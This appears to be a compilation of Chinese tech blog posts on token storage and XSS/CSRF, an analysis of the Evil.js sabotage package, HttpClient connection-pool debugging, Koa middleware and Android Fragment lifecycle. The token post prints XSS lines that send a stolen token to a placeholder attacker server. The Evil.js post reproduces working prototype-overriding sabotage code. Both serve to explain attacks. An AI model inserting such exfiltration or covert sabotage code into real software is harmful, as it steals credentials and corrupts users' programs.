分为几个步骤,下载账单,解析账单,对账,差异处理(平账)。是不是瞬间有了几个模块,文件模块,包括上传、下载,解析文件对吧。然后是账单模块,可能会分成订单,还有一些退款的,然后是对账处理结果,属于对账模块,文件解析出来的东西跟账单对比,哪些是对的上的,哪些又是异常的,这个模块还有后续的处理结果,自动平账,或者人工处理。
模块化也是高内聚的体现,这就是DDD的思想,只不过人家现在有名头而已~
这个就不展开了,有点玄学,也看投胎,也看老天赏不赏饭吃。我觉得嘛,不管有没有有运气,都要不卑不亢,努力提升自己,很多结果我们决定不了的,但是过程我们可以说了算,人生不也是这样嘛,那就好好享受过程吧~
《矛盾论》,还是里面的观点,我们需要全面的认识自己的定位,找到自己的优势,不断突破自我。有些厉害,只是暂时性的,而长远来看,只是冰山一角。
作者:大鸡腿同学
来源:juejin.cn/post/7133246541623459847
token存cookie还是localStorage,存哪个更安全、哪个能实现需求,下面就该问题展开讨论。
首先要明确我们的需求,如果是需要SSO(单点登录),那localStorage方案是不能选择的,因为本地存储是域名间互相隔离的,无法跨域名读取。
如果SSO是通过跳转到认证中心进行登录态校验,然后回跳携带token的方式(类似第三方微信登录),那localStorage也是可行的,但体验就没有那么好了,具体需要进行取舍。
XSS攻击的危害是非常大的,所以我们无论如何都是要避免的;不过幸运的是,大部分XSS攻击浏览器都帮我们进行了有效的处理。
但我们仍然还是要考虑最糟糕的情况,我们应该如何避免token的泄露呢?
因为本地存储是可以被JS任意读写的,攻击者可以如果成功的进行了XSS,那么存在本地存储中的token,会被轻松拿到,甚至被发送到攻击者的服务器存储起来。
// XSS
const token = localStorage.getItem('token')
const image = new Image()
image.src = `攻击者的服务器地址?token=${token}`
如果cookie不做任何设置,和localStorage基本一致,被XSS攻击时也可以轻松的拿到token。
// 以下代码来自MDN
// https://developer.mozilla.org/zh-CN/docs/Web/API/Document/cookie
const getCookie = (key) => {
return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(key).replace(/[-.+*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null;
}
const token = getCookie('token')
const image = new Image()
image.src = `攻击者的服务器地址?token=${token}`
好在cookie提供了HttpOnly
属性,它的作用是让该cookie属性只可用于http请求,JS不能读取;它的兼容性也非常不错(如果说你要兼容老古董IE8,那当我没说)。
以下是express定义的一个登录接口示例:
router.post('/login', async(req, res, next) => {
const token = Math.random()
res.header({
'Set-Cookie': `token=${token}; HttpOnly`,
}).send({
code: 0,
message: 'login success'
})
})
仅管经过这样的设置,依然仅仅只是避免了远程XSS;因为就算开启了HttpOnly,使得JS不能读取,但攻击者仍可实施现场攻击,就是攻击是由用户自己的设备触发的;攻击者可以不知道用户的token,但可以在XSS代码中,直接向服务端发送请求。
这就是为什么前面说XSS攻击我们无论如何都是要避免的,但不是说防御XSS仅仅只是为了token的安全。
从CSRF角度来看,因为localStorage是域名隔离的,第三方域名是完全无法读取,这是localStorage的天然优势。
因为cookie是在发送请求时被浏览器自动携带的,这个机制是一把双刃剑,好处是可以基于此实现SSO,坏处就是CSRF攻击由此诞生。
防御cookie带来的CSRF攻击有如下方案:
通过JS读取cookie中的token,添加到请求参数中(csrfToken),服务端将cookie中的token和csrfToken进行比对,如果相等则是正常请求;
这种做法虽说避免了CSRF,但不能满足SSO需求,因为要添加一个额外的请求参数;而且不能开启HttpOnly属性(伴随着存在远程XSS的风险),因为要供JS读取,如此一来基本和localStorage一致了。
cookie有个SameSite属性,它有三种取值(引用自MDN):
None
浏览器会在同站请求、跨站请求下继续发送 cookies,不区分大小写。
Strict
浏览器将只在访问相同站点时发送 cookie。
Lax
与 Strict 类似,但用户从外部站点导航至 URL 时(例如通过链接)除外。在新版本浏览器中,为默认选项,Same-site cookies 将会为一些跨站子请求保留,如图片加载或者 frames 的调用,但只有当用户从外部站点导航到 URL 时才会发送。如 link 链接
注意:之前的SameSite未设置的情况下默认是None,现在大部分浏览器都准备将SameSite属性迁移为Lax。
设置了SmaeSite为非None时,则可避免CSRF,但不能满足SSO需求,所以很多的开发者都将SameSite设置成了None。
SameSite的兼容性:
cookie的SameParty,这个方案算得上是终极解决方案,但很多浏览器都暂未实现。
这个方案允许我们将一系列不同的域名配置为同一主体运营,即可以在多个指定的不同域名下都可以访问到cookie,而配置之外的域名则不可访问,即避免了CSRF又保证了SSO需求的可行性。
具体使用:
1、在各个域名下的/.well-known/first-party-set
路径下,配置一个JSON文件。
主域名:
{
"owner": "主域名",
"version": 1,
"members": ["其他域名1", "其他域名2"]
}
其他域名:
{
"owner": "当前域名"
}
2、服务端设置SameParty
router.post('/login', async(req, res, next) => {
const token = Math.random()
res.header({
'Set-Cookie': `token=${token}; SameParty; Secure; SameSite=Lax;`,
}).send({
code: 0,
message: 'login success'
})
})
注意:使用SameParty属性时,必须要开启secure,且SameSite不能是strict。
序号 | 方式 | 是否存在远程XSS | 是否存在CSRF | 是否支持SSO | 兼容性 |
---|---|---|---|---|---|
1 | localStorage | 是 | 否 | 否 | 无 |
2 | cookie,未开启HttpOnly,SameSite为None | 是 | 是 | 是 | 无 |
3 | cookie,未开启HttpOnly,SameSite为None,增加csrfToken | 是 | 否 | 否 | 无 |
4 | cookie,开启HttpOnly,SameSite为None | 否 | 是 | 是 | IE8之后 |
5 | 使用cookie,开启HttpOnly,设置了SameSite非None | 否 | 否 | 否 | IE10之后,IE11部分;Chrome50之后 |
如果不需要考虑SameSite的兼容性,使用localStorage不如使用cookie,并开启HttpOnly、SameSite。
如果你需要考虑SameSite的兼容性,同时也没有SSO的需求,那么就用localStorage吧,不过要做好XSS防御。
将token存储到localStorage并没有那么不安全,大部分XSS攻击浏览器都帮我们进行了有效的处理,不过如果沦落到需要考虑SameSite的兼容性了,可能那些版本的浏览器不存在这些XSS的防御机制;退一步讲如果遭受了XSS攻击,就算是存储在cookie中也会受到攻击,只不过被攻击的难度提升了,后果也没有那么严重。
如果有SSO需求,使用cookie,在SameParty可以使用之前,我们可以做好跨域限制、CSRF防御等安全工作。
如果可以,我是说如果,多系统能部署到一个域名的多个子域名下,避免跨站,那是最好,就可以既设置SameSite来避免CSRF,又可以实现SSO。
总的来说,cookie的优势是多余localStorage的。
因为我们是需要SSO的,所以使用了cookie,配套做了一些的安全防御工作。
开启HttpOnly,SameSite为none
认证中心获取code,子系统通过code换取token
接口全部采用post方式
配置跨域白名单
使用https
juejin.cn/post/7002011181221167118
作者:Ytiona
来源:juejin.cn/post/7133940034675638303
2022年8月18日,一个名叫Evil.js
的项目突然走红,README介绍如下:
什么?黑心996公司要让你提桶跑路了?
想在离开前给你们的项目留点小 礼物 ?
偷偷地把本项目引入你们的项目吧,你们的项目会有但不仅限于如下的神奇效果:
当数组长度可以被7整除时,Array.includes 永远返回false。
当周日时,Array.map 方法的结果总是会丢失最后一个元素。
Array.filter 的结果有2%的概率丢失最后一个元素。
setTimeout 总是会比预期时间慢1秒才触发。
Promise.then 在周日时有10%不会注册。
JSON.stringify 会把I(大写字母I)变成l(小写字母L)。
Date.getTime() 的结果总是会慢一个小时。
localStorage.getItem 有5%几率返回空字符串。
并且作者发布了这个包到npm上,名叫lodash-utils
,一眼看上去,是个非常正常的npm包,跟utils-lodash
这个正经的包的名称非常相似。
如果有人误装了lodash-utils
这个包并引入,代码表现可能就一团乱麻了,还找不到原因。真是给黑心996公司的小“礼物”了。
现在,这个Github仓库已经被删除了(不过还是可以搜到一些人fork的代码),npm包也已经把它标记为存在安全问题,将代码从npm上移除了。可见npm官方还是很靠谱的,及时下线有风险的代码。
作者是如何做到的呢?我们可以学习一下,但是只单纯学技术,不要作恶噢。要做更多有趣的事情。
代码整体是一个立即执行函数,
(global => {
})((0, eval('this')));
该函数的参数是(0, eval('this'))
,返回值其实就是window
,会赋值给函数的参数global
。
另有朋友反馈说,最新版本是这样的:
(global => {
})((0, eval)('this'));
该函数的参数是(0, eval)('this'),目的是通过eval在间接调用下默认使用顶层作用域的特性,通过调用this获取顶层对象。这是兼容性最强获取顶层作用域对象的方法,可以兼容浏览器和node,并且在早期版本没有globalThis的情况下也能够很好地支持,甚至在window、globalThis变量被恶意改写的情况下也可以获取到(类似于使用void 0规避undefined关键词被定义)。
这样的话,内部定义的变量不会向外暴露。
使用立即执行函数,可以方便的定义局部变量,让其它地方没办法引用该变量。
否则,如果你这样写:
<script>
const a = 1;
</script>
<script>
const b = a + 1;
</script>
在这个例子中,其它脚本中可能会引用变量a
,此时a
不算局部变量。
数组长度可以被7整除时,本方法永远返回false。
const _includes = Array.prototype.includes;
Array.prototype.includes = function (...args) {
if (this.length % 7 !== 0) {
return _includes.call(this, ...args);
} else {
return false;
}
};
includes
是一个非常常用的方法,判断数组中是否包括某一项。而且兼容性还不错,除了IE基本都支持。
作者具体方案是先保存引用给_includes
。重写includes
方法时,有时候调用_includes
,有时候不调用_includes
。
注意,这里_includes
是一个闭包变量。所以它会常驻内存(在堆中),但是开发者没有办法去直接引用。
当周日时,Array.map方法的结果总是会丢失最后一个元素。
const _map = Array.prototype.map;
Array.prototype.map = function (...args) {
result = _map.call(this, ...args);
if (new Date().getDay() === 0) {
result.length = Math.max(result.length - 1, 0);
}
return result;
}
如何判断周日?new Date().getDay() === 0
即可。
这里作者还做了兼容性处理,兼容了数组长度为0的情况,通过Math.max(result.length - 1, 0)
,边界情况也处理的很好。
Array.filter的结果有2%的概率丢失最后一个元素。
const _filter = Array.prototype.filter;
Array.prototype.filter = function (...args) {
result = _filter.call(this, ...args);
if (Math.random() < 0.02) {
result.length = Math.max(result.length - 1, 0);
}
return result;
}
跟includes
一样,不多介绍了。
setTimeout总是会比预期时间慢1秒才触发
const _timeout = global.setTimeout;
global.setTimeout = function (handler, timeout, ...args) {
return _timeout.call(global, handler, +timeout + 1000, ...args);
}
这个其实不太好,太容易发现了,不建议用
Promise.then 在周日时有10%几率不会注册。
const _then = Promise.prototype.then;
Promise.prototype.then = function (...args) {
if (new Date().getDay() === 0 && Math.random() < 0.1) {
return;
} else {
_then.call(this, ...args);
}
}
牛逼,周日的时候才出现的Bug,但是周日正好不上班。如果有用户周日反馈了Bug,开发者周一上班后还无法复现,会以为是用户环境问题。
JSON.stringify 会把'I'变成'l'。
const _stringify = JSON.stringify;
JSON.stringify = function (...args) {
return _stringify(...args).replace(/I/g, 'l');
}
字符串的replace
方法,非常常用,但是很多开发者会误用,以为'1234321'.replace('2', 't')
就会把所有的'2'替换为't',其实这只会替换第一个出现的'2'。正确方案就是像作者一样,第一个参数使用正则,并在后面加个g
表示全局替换。
Date.getTime() 的结果总是会慢一个小时。
const _getTime = Date.prototype.getTime;
Date.prototype.getTime = function (...args) {
let result = _getTime.call(this);
result -= 3600 * 1000;
return result;
}
localStorage.getItem 有5%几率返回空字符串。
const _getItem = global.localStorage.getItem;
global.localStorage.getItem = function (...args) {
let result = _getItem.call(global.localStorage, ...args);
if (Math.random() < 0.05) {
result = '';
}
return result;
}
HttpClient作为Java程序员最常用的Http工具,其对Http连接的管理能简化开发,并且提升连接重用效率;在正常情况下,HttpClient能帮助我们高效管理连接,但在一些并发高,报文体较大的情况下,如果再遇到网络波动,如何保证连接被高效利用,有哪些优化空间。
北京时间X月X日,浏览器信息流服务监控出现异常,主要表现在以下三个方面:
2. 从PAAS平台Hystrix熔断管理界面中可以进一步确认问题机器的所有Http接口调用均出现了熔断:
3. 日志中心有大量从Http连接池获取连接的异常:org.apache.http.impl.execchain.RequestAbortedException: Request aborted。
综合以上三个现象,大概可以推测出问题机器的TCP连接管理出了问题,可能是虚拟机问题,也可能是物理机问题;与运维与系统侧沟通后,发现虚拟机与物理机均无明显异常,第一时间联系运维重启了问题机器,线上问题得到解决。
几天以后,线上部分其他机器也陆续出现了上述现象,此时基本可以确认是服务本身有问题;既然问题与TCP连接相关,于是联系运维在问题机器上建立了一个作业查看TCP连接的状态分布:
netstat -ant|awk '/^tcp/ {++S[$NF]} END {for(a in S) print (a,S[a])}'
复制代码
结果如下:
如上图,问题机器的CLOSE_WAIT状态的连接数已经接近200左右(该服务Http连接池最大连接数设置的250),那问题直接原因基本可以确认是CLOSE_WAIT状态的连接过多导致的;本着第一时间先解决线上问题的原则,先把连接池调整到500,然后让运维重启了机器,线上问题暂时得到解决。
调整连接池大小只是暂时解决了线上问题,但是具体原因还不确定,按照以往经验,出现连接无法正常释放基本都是开发者使用不当,在使用完成后没有及时关闭连接;但很快这个想法就被否定了,原因显而易见:当前的服务已经在线上运行了一周左右,中间没有经历过发版,以浏览器的业务量,如果是连接使用完没有及时关。
闭,250的连接数连一分钟都撑不到就会被打爆。那么问题就只能是一些异常场景导致的连接没有释放;于是,重点排查了下近期上线的业务接口,尤其是那种数据包体较大,响应时间较长的接口,最终把目标锁定在了某个详情页优化接口上;先查看处于CLOSE_WAIT状态的IP与端口连接对,确认对方服务器IP地址。
netstat-tulnap|grep CLOSE_WAIT
复制代码
经过与合作方确认,目标IP均来自该合作方,与我们的推测是相符的。
在定位问题的同时,也让运维同事帮忙抓取了TCP的数据包,结果表明确实是客户端(浏览器服务端)没返回ACK结束握手,导致挥手失败,客户端处于了CLOSE_WAIT状态,数据包的大小也与怀疑的问题接口相符。
为了方便大家理解,我从网上找了一张图,大家可以作为参考:
CLOSE_WAIT是一种被动关闭状态,如果是SERVER主动断开的连接,那么就会在CLIENT出现CLOSE_WAIT的状态,反之同理;
通常情况下,如果客户端在一次http请求完成后没有及时关闭流(tcp中的流套接字),那么超时后服务端就会主动发送关闭连接的FIN,客户端没有主动关闭,所以就停留在了CLOSE_WAIT状态,如果是这种情况,很快连接池中的连接就会被耗尽。
所以,我们今天遇到的情况(处于CLOSE_WAIT状态的连接数每天都在缓慢增长),更像是某一种异常场景导致的连接没有关闭。
为了不影响其他业务场景,防止出现系统性风险,我们先把问题接口连接池进行了独立管理。
带着2.3的疑问我们仔细查看一下业务调用代码:
try {
httpResponse = HttpsClientUtil.getHttpClient().execute(request);
HttpEntity httpEntity = httpResponse.getEntity();
is = httpEntity.getContent();
}catch (Exception e){
log.error("");
}finally {
IOUtils.closeQuietly(is);
IOUtils.closeQuietly(httpResponse);
}
复制代码
这段代码存在一个明显的问题:既关闭了数据传输流( IOUtils.closeQuietly(is)),也关闭了整个连接(IOUtils.closeQuietly(httpResponse)),这样我们就没办法进行连接的复用了;但是却更让人疑惑了:既然每次都手动关闭了连接,为什么还会有大量CLOSE_WAIT状态的连接存在呢?
如果问题不在业务调用代码上,那么只能是这个业务接口具有的某种特殊性导致了问题的发生;通过抓包分析发现该接口有一个明显特征:接口返回报文较大,平均在500KB左右。那么问题就极有可能是报文过大导致了某种异常,造成了连接不能被复用也不能被释放。
开始分析之前,我们需要了解一个基础知识:Http的长连接和短连接。所谓长连接就是建立起连接之后,可以复用连接多次进行数据传输;而短连接则是每次都需要重新建立连接再进行数据传输。
而通过对接口的抓包我们发现,响应头里有Connection:keep-live字样,那我们就可以重点从HttpClient对长连接的管理入手来进行代码分析。
初始化方法:
进入PoolingHttpClientConnectionManager这个类,有一个重载构造方法里包含连接存活时间参数:
顺着继续向下查看
manager的构造方法到此结束,我们不难发现validityDeadline会被赋值给expiry变量,那我们接下来就要看下HttpClient是在哪里使用expiry这个参数的;
通常情况下,实例对象被构建出来的时候会初始化一些策略参数,此时我们需要查看构建HttpClient实例的方法来寻找答案:
此方法包含一系列的初始化操作,包括构建连接池,给连接池设置最大连接数,指定重用策略和长连接策略等,这里我们还注意到,HttpClient创建了一个异步线程,去监听清理空闲连接。
当然,前提是你打开了自动清理空闲连接的配置,默认是关闭的。
接着我们就看到了HttpClient关闭空闲连接的具体实现,里面有我们想要看到的内容:
此时,我们可以得出第一个结论:可以在初始化连接池的时候,通过实现带参的PoolingHttpClientConnectionManager构造方法,修改validityDeadline的值,从而影响HttpClient对长连接的管理策略。
2.6.2 执行方法入口
先找到执行入口方法:org.apache.http.impl.execchain.MainClientExec.execute,看到了keepalive相关代码实现:
我们来看下默认的策略:
由于中间的调用逻辑比较简单,就不在这里一一把调用的链路贴出来了,这边直接给结论:HttpClient对没有指定连接有效时间的长连接,有效期设置为永久(Long.MAX_VALUE)。
综合以上分析,我们可以得出最终结论:
HttpClient通过控制newExpiry和validityDeadline来实现对长连接的有效期的管理,而且对没有指定连接有效时间的长连接,有效期设置为永久。
至此我们可以大胆给出一个猜测:长连接的有效期是永久,而因为某种异常导致长连接没有被及时关闭,而永久存活了下来,不能被复用也不能被释放。(只是根据现象的猜测,虽然最后被证实并不完全正确,但确实提高了我们解决问题的效率)。
基于此,我们也可以通过改变这两个参数来实现对长连接的管理:
这样简单修改上线后,处于close_wait状态的连接数没有再持续增长,这个线上问题也算是得到了彻底的解决。
但此时相信大家也都存在一个疑问:作为被广泛使用的开源框架,HttpClient难道对长连接的管理这么粗糙吗?一个简单的异常调用就能导致整个调度机制彻底崩溃,而且不会自行恢复;
于是带着疑问,再一次详细查看了HttpClient的源码。
开始分析之前,先简单介绍下几个核心类:
【PoolingHttpClientConnectionManager】:连接池管理器类,主要作用是管理连接和连接池,封装连接的创建、状态流转以及连接池的相关操作,是操作连接和连接池的入口方法;
【CPool】:连接池的具体实现类,连接和连接池的具体实现均在CPool以及抽象类AbstractConnPool中实现,也是分析的重点;
【CPoolEntry】:具体的连接封装类,包含连接的一些基础属性和基础操作,比如连接id,创建时间,有效期等;
【HttpClientBuilder】:HttpClient的构造器,重点关注build方法;
【MainClientExec】:客户端请求的执行类,是执行的入口,重点关注execute方法;
【ConnectionHolder】:主要封装释放连接的方法,是在PoolingHttpClientConnectionManager的基础上进行了封装。
最大连接数(maxTotal)
最大单路由连接数(maxPerRoute)
最大连接数,顾名思义,就是连接池允许创建的最大连接数量;
最大单路由连接数可以理解为同一个域名允许的最大连接数,且所有maxPerRoute的总和不能超过maxTotal。
以浏览器为例,浏览器对接了头条和一点,为了做到业务隔离,不相互影响,可以把maxTotal设置成500,而defaultMaxPerRoute设置成400,主要是因为头条的业务接口量远大于一点,defaultMaxPerRoute需要满足调用量较大的一方。
connectionRequestTimout
connetionTimeout
socketTimeout
**【connectionRequestTimout】:**指从连接池获取连接的超时时间;
【connetionTimeout】:指客户端和服务器建立连接的超时时间,超时后会报ConnectionTimeOutException异常;
【socketTimeout】:指客户端和服务器建立连接后,数据传输过程中数据包之间间隔的最大时间,超出后会抛出SocketTimeOutException。
一定要注意:这里的超时不是数据传输完成,而只是接收到两个数据包的间隔时间,这也是很多线上诡异问题发生的根本原因。
free
leased
pending
available
**【free】:**空闲连接的容器,连接还没有建立,理论上freeSize=maxTotal -leasedSize
- availableSize(其实HttpClient中并没有该容器,只是为了描述方便,特意引入的一个容器)。
【leased】:租赁连接的容器,连接创建后,会从free容器转移到leased容器;也可以直接从available容器租赁连接,租赁成功后连接被放在leased容器中,此种场景主要是连接的复用,也是连接池的一个很重要的能力。
【pending】:等待连接的容器,其实该容器只是在等待连接释放的时候用作阻塞线程,下文也不会再提到,感兴趣的可以参考具体实现代码,其与connectionRequestTimout相关。
【available】:可复用连接的容器,通常直接从leased容器转移过来,长连接的情况下完成通信后,会把连接放到available列表,一些对连接的管理和释放通常都是围绕该容器进行的。
注:由于存在maxTotal和maxPerRoute两个连接数限制,下文在提到这四种容器时,如果没有带前缀,都代表是总连接数,如果是r.xxxx则代表是路由连接里的某个容器大小。
maxTotal的组成
循环从available容器中获取连接,如果该连接未失效(根据上文提到的expiry字段判断),则把该连接从available容器中删除,并添加到leased容器,并返回该连接;
如果在第一步中没有获取到可用连接,则判断r.available + r.leased是否大于maxPerRoute,其实就是判断是否还有free连接;如果不存在,则需要把多余分配的连接释放掉(r. available + r.leased - maxPerRoute),来保证真实的连接数受maxPerRoute控制(至于为什么会出现r.leased+r.available>maxPerRoute的情况其实也很好理解,虽然在整个状态流转过程都加了锁,但是状态的流转并不是原子操作,存在一些异常的场景都会导致状态短时间不正确);所以我们可以得出结论,maxPerRoute只是一个理论上的最大数值,其实真实产生的连接数在短时间内是可能大于这个值的;
在真实的连接数(r .leased+ r .available)小于maxPerRoute且maxTotal>leased的情况下:如果free>0,则重新创建一个连接;如果free=0,则把available容器里的最早创建的一个连接关闭掉,然后再重新创建一个连接;看起来有点绕,其实就是优先使用free容器里的连接,获取不到再释放available容器里的连接;
如果经过上述过程仍然没有获取到可用连接,那就只能等待一个connectionRequestTimout时间,或者有其他线程的信号通知来结束整个获取连接的过程。
如果是长连接(reusable),则把该连接从leased容器中删除,然后添加到available容器的头部,设置有效期为expiry;
如果是短连接(non-reusable),则直接关闭该连接,并且从released容器中删除,此时的连接被释放,处于free容器中;
最后,唤醒“连接的产生与管理“第四部中的等待线程。
整个过程分析完,了解了httpclient如何管理连接,再回头来看我们遇到的那个问题就比较清晰了:
正常情况下,虽然建立了长连接,但是我们会在finally代码块里去手动关闭,此场景其实是触发了“连接的释放”中的步骤2,连接直接被关闭;所以正常情况下是没有问题的,长连接其实并没有发挥真正的作用;
那问题自然就只能出现在一些异常场景,导致了长连接没有被及时关闭,结合最初的分析,是服务端主动断开了连接,那大概率出现在一些超时导致连接断开的异常场景,我们再回到org.apache.http.impl.execchain.MainClientExec这个类,发现这样几行代码:
**connHolder.releaseConnection()**对应“连接的释放”中提到的步骤1,此时连接只是被放入了available容器,并且有效期是永久;
**return new HttpResponseProxy(response, null)**返回的ConnectionHolder是null,结合IOUtils.closeQuietly(httpResponse)的具体实现,连接并没有及时关闭,而是永久的放在了available容器里,并且状态为CLOSE_WAIT,无法被复用;
根据 “连接的产生与管理”的步骤3的描述,在free容器为空的时候httpclient是能够主动释放available里的连接的,即使连接永久的放在了available容器里,理论上也不会造成连接永远无法释放;
然而再结合“连接的产生与管理”的步骤4,当free容器为空了以后,从连接池获取连接时需要等待available容器里的连接被释放掉,整个过程是单线程的,效率极低,势必会造成拥堵,最终导致大量等待获取连接超时报错,这也与我们线上看到的场景相吻合。
连接池的主要功能有两个:连接的管理和连接的复用,在使用连接池的时候一定要注意只需关闭当前数据流,而不要每次都关闭连接,除非你的目标访问地址是完全随机的;
maxTotal和maxPerRoute的设置一定要谨慎,合理的分配参数可以做到业务隔离,但如果无法准确做出评估,可以暂时设置成一样,或者用两个独立的httpclient实例;
一定记得要设置长连接的有效期,用
PoolingHttpClientConnectionManager(60, TimeUnit.SECONDS)构造函数,尤其是调用量较大的情况,防止发生不可预知的问题;
可以通过设置evictIdleConnections(5, TimeUnit.SECONDS)定时清理空闲连接,尤其是http接口响应时间短,并发量大的情况下,及时清理空闲连接,避免从连接池获取连接的时候发现连接过期再去关闭连接,能在一定程度上提高接口性能。
HttpClient作为当前使用最广泛的基于Java语言的Http调用框架,在笔者看来其存在两点明显不足:
没有提供监控连接状态的入口,也没有提供能外部介入动态影响连接生命周期的扩展点,一旦线上出现问题可能就是致命的;
此外,其获取连接的方式是采用同步锁的方式,在并发较高的情况下存在一定的性能瓶颈,而且其对长连接的管理方式存在问题,稍不注意就会导致建立大量异常长连接而无法及时释放,造成系统性灾难。
本文将讲解 koa
的洋葱模型,我们为什么要使用洋葱模型,以及它的原理实现。掌握洋葱模型对于理解 koa
至关重要,希望本文对你有所帮助~
先来看一个 demo
const Koa = require('koa');
const app = new Koa();
// 中间件1
app.use((ctx, next) => {
console.log(1);
next();
console.log(2);
});
// 中间件 2
app.use((ctx, next) => {
console.log(3);
next();
console.log(4);
});
app.listen(8000, '0.0.0.0', () => {
console.log(`Server is starting`);
});
输出的结果是:
1
3
4
2
在 koa
中,中间件被 next()
方法分成了两部分。next()
方法上面部分会先执行,下面部门会在后续中间件执行全部结束之后再执行。可以通过下图直观看出:
在洋葱模型中,每一层相当于一个中间件,用来处理特定的功能,比如错误处理、Session
处理等等。其处理顺序先是 next()
前请求(Request
,从外层到内层)然后执行 next()
函数,最后是 next()
后响应(Response
,从内层到外层),也就是说每一个中间件都有两次处理时机。
假如不是洋葱模型,我们中间件依赖于其他中间件的逻辑的话,我们要怎么处理?
比如,我们需要知道一个请求或者操作 db
的耗时是多少,而且想获取其他中间件的信息。在 koa
中,我们可以使用 async await
的方式结合洋葱模型做到。
app.use(async(ctx, next) => {
const start = new Date();
await next();
const delta = new Date() - start;
console.log (`请求耗时: ${delta} MS`);
console.log('拿到上一次请求的结果:', ctx.state.baiduHTML);
})
app.use(async(ctx, next) => {
// 处理 db 或者进行 HTTP 请求
ctx.state.baiduHTML = await axios.get('http://baidu.com');
})
而假如没有洋葱模型,这是做不到的。
我们以文章开始时候的 demo
来分析一下 koa
内部的实现。
const Koa = require('koa');
//Applications
const app = new Koa();
// 中间件1
app.use((ctx, next) => {
console.log(1);
next();
console.log(2);
});
// 中间件 2
app.use((ctx, next) => {
console.log(3);
next();
console.log(4);
});
app.listen(9000, '0.0.0.0', () => {
console.log(`Server is starting`);
});
use
方法就是做了一件事,维护得到 middleware
中间件数组
use(fn) {
// ...
// 维护中间件数组——middleware
this.middleware.push(fn);
return this;
}
执行 app.listen
方法的时候,其实是 Node.js
原生 http
模块 createServer
方法创建了一个服务,其回调为 callback
方法。callback
方法中就有我们今天的重点 compose
函数,它的返回是一个 Promise
函数。
listen(...args) {
debug('listen');
// node http 创建一个服务
const server = http.createServer(this.callback());
return server.listen(...args);
}
callback() {
// 返回值是一个函数
const fn = compose(this.middleware);
const handleRequest = (req, res) => {
// 创建 ctx 上下文环境
const ctx = this.createContext(req, res);
return this.handleRequest(ctx, fn);
};
return handleRequest;
}
handleRequest
中会执行 compose
函数中返回的 Promise
函数并返回结果。
handleRequest(ctx, fnMiddleware) {
const res = ctx.res;
res.statusCode = 404;
const onerror = err => ctx.onerror(err);
const handleResponse = () => respond(ctx);
onFinished(res, onerror);
// 执行 compose 中返回的函数,将结果返回
return fnMiddleware(ctx).then(handleResponse).catch(onerror);
}
compose
函数引用的是 koa-compose
这个库。其实现如下所示:
function compose (middleware) {
// ...
return function (context, next) {
// last called middleware #
let index = -1
// 一开始的时候传入为 0,后续会递增
return dispatch(0)
function dispatch (i) {
// 假如没有递增,则说明执行了多次
if (i <= index) return Promise.reject(new Error('next() called multiple times'))
index = i
// 拿到当前的中间件
let fn = middleware[i]
if (i === middleware.length) fn = next
// 当 fn 为空的时候,就会开始执行 next() 后面部分的代码
if (!fn) return Promise.resolve()
try {
// 执行中间件,留意这两个参数,都是中间件的传参,第一个是上下文,第二个是 next 函数
// 也就是说执行 next 的时候也就是调用 dispatch 函数的时候
return Promise.resolve(fn(context, dispatch.bind(null, i + 1)));
} catch (err) {
return Promise.reject(err)
}
}
}
}
代码很简单,我们来看看具体的执行流程是怎样的:
当我们执行第一次的时候,调用的是 dispatch(0)
,这个时候 i 为 0,fn
为第一个中间件函数。并执行中间件,留意这两个参数,都是中间件的传参,第一个是上下文,第二个是 next
函数。也就是说中间件执行 next 的时候也就是调用 dispatch 函数的时候,这就是为什么执行 next
逻辑的时候就会执行下一个中间件的原因:
return Promise.resolve(fn(context, dispatch.bind(null, i + 1)));
当第二、第三次执行 dispatch
的时候,跟第一次一样,分别开始执行第二、第三个中间件,执行 next()
的时候开始执行下一个中间件。
当执行到第三个中间件的时候,执行到 next()
的时候,dispatch
函数传入的参数是 3,fn
为 undefined
。这个时候就会执行
if (!fn) return Promise.resolve()
这个时候就会执行第三个中间件 next()
之后的代码,然后是第二个、第一个,从而形成了洋葱模型。
其过程如下所示:
模范 koa
的逻辑,我们可以写一个简易版的 compose
。方便大家的理解:
const middleware = []
let mw1 = async function (ctx, next) {
console.log("next前,第一个中间件")
await next()
console.log("next后,第一个中间件")
}
let mw2 = async function (ctx, next) {
console.log("next前,第二个中间件")
await next()
console.log("next后,第二个中间件")
}
let mw3 = async function (ctx, next) {
console.log("第三个中间件,没有next了")
}
function use(mw) {
middleware.push(mw);
}
function compose(middleware) {
return (ctx, next) => {
return dispatch(0);
function dispatch(i) {
const fn = middleware[i];
if (!fn) return;
return fn(ctx, dispatch.bind(null, i+1));
}
}
}
use(mw1);
use(mw2);
use(mw3);
const fn = compose(middleware);
fn();
Koa
的洋葱模型指的是以 next()
函数为分割点,先由外到内执行 Request
的逻辑,再由内到外执行 Response
的逻辑。通过洋葱模型,将多个中间件之间通信等变得更加可行和简单。其实现的原理并不是很复杂,主要是 compose
方法。
前段时间面试,面试官先问了一下fragment的生命周期,我一看这简单呀,直接按照下图回答
面试官点点头,然后问,如果Activity里面有一个fragment,那么启动他们时,他们的生命周期加载顺序是什么?
所以今天,我们好好了解了解这个用得非常多,但是对底层不是很理解的fragment吧
首先回答面试官的问题,Fragment 的 start与activity 的start 的调用时机
调用顺序:
D/MainActivity: MainActivity:
D/MainActivity: onCreate: start
D/MainFragment: onAttach:
D/MainFragment: onCreate:
D/MainActivity: onCreate: end
D/MainFragment: onCreateView:
D/MainFragment: onViewCreated:
D/MainFragment: onActivityCreated:
D/MainFragment: onViewStateRestored:
D/MainFragment: onCreateAnimation:
D/MainFragment: onCreateAnimator:
D/MainFragment: onStart:
D/MainActivity: onStart:
D/MainActivity: onResume:
D/MainFragment: onResume:
可以看到Activity 在oncreate开始时,Fragment紧接着attach,create,然后activity执行完毕onCreate方法
此后都是Fragment在执行,直到onStart方法结束
然后轮到Activity,执行onStart onResume
也就是,Activity 创建的时候,Fragment一同创建,同时Fragment优先在后台先展示好,最后Activity带着Fragment一起展示到前台。
Fragment中文翻译为”碎片“,在手机中,每一个Activity作为一个页面,有时候太大了,尤其是在平板的横屏下,我们希望左半边是一根独立模块,右半边是一个独立模块,比如一个新闻app,左边是标题栏,右边是显示内容
此时就非常适合Fragment
Fragment是内嵌入Activity中的,可以在onCreateView中加载自定义的布局,使用LayoutInflater,然后Activity持有FragmentManager对Fragment进行控制,
下图是他的代码框架
我们的Activity一般是用AppCompatActivity,而AppCompatActivity继承了FragmentActivity
